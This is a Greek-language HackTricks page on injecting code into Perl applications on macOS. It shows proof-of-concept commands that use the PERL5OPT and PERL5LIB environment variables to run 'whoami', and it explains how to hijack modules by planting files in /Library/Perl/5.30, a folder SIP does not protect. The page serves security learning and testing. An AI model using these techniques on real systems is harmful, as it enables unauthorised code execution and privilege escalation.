macOS Perl Applications Injection

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Μέσω των μεταβλητών περιβάλλοντος PERL5OPT & PERL5LIB

Χρησιμοποιώντας τη μεταβλητή περιβάλλοντος PERL5OPT είναι δυνατόν να κάνετε το perl να εκτελέσει αυθαίρετες εντολές. Για παράδειγμα, δημιουργήστε αυτό το σενάριο:

test.pl
#!/usr/bin/perl
print "Hello from the Perl script!\n";

Τώρα εξαγάγετε τη μεταβλητή περιβάλλοντος και εκτελέστε το script perl:

export PERL5OPT='-Mwarnings;system("whoami")'
perl test.pl # This will execute "whoami"

Μια άλλη επιλογή είναι να δημιουργήσετε ένα Perl module (π.χ. /tmp/pmod.pm):

/tmp/pmod.pm
#!/usr/bin/perl
package pmod;
system('whoami');
1; # Modules must return a true value

Και στη συνέχεια χρησιμοποιήστε τις μεταβλητές περιβάλλοντος:

PERL5LIB=/tmp/ PERL5OPT=-Mpmod

Μέσω εξαρτήσεων

Είναι δυνατόν να εμφανιστεί η λίστα των φακέλων εξαρτήσεων του Perl που εκτελείται:

perl -e 'print join("\n", @INC)'

Που θα επιστρέψει κάτι παρόμοιο:

/Library/Perl/5.30/darwin-thread-multi-2level
/Library/Perl/5.30
/Network/Library/Perl/5.30/darwin-thread-multi-2level
/Network/Library/Perl/5.30
/Library/Perl/Updates/5.30.3
/System/Library/Perl/5.30/darwin-thread-multi-2level
/System/Library/Perl/5.30
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
/System/Library/Perl/Extras/5.30

Μερικοί από τους φακέλους που επιστράφηκαν δεν υπάρχουν καν, ωστόσο, το /Library/Perl/5.30 υπάρχει, δεν προστατεύεται από το SIP και βρίσκεται πριν από τους φακέλους που προστατεύονται από το SIP. Συνεπώς, κάποιος θα μπορούσε να εκμεταλλευτεί αυτόν τον φάκελο για να προσθέσει εξαρτήσεις σε scripts ώστε ένα Perl script υψηλής προνομιακής πρόσβασης να τις φορτώσει.

Ωστόσο, σημειώστε ότι χρειάζεστε root για να γράψετε σε αυτόν τον φάκελο και σήμερα θα λάβετε αυτό το TCC prompt:

Για παράδειγμα, αν ένα script εισάγει use File::Basename; θα ήταν δυνατόν να δημιουργηθεί το /Library/Perl/5.30/File/Basename.pm για να εκτελέσει αυθαίρετο κώδικα.

Αναφορές

Last updated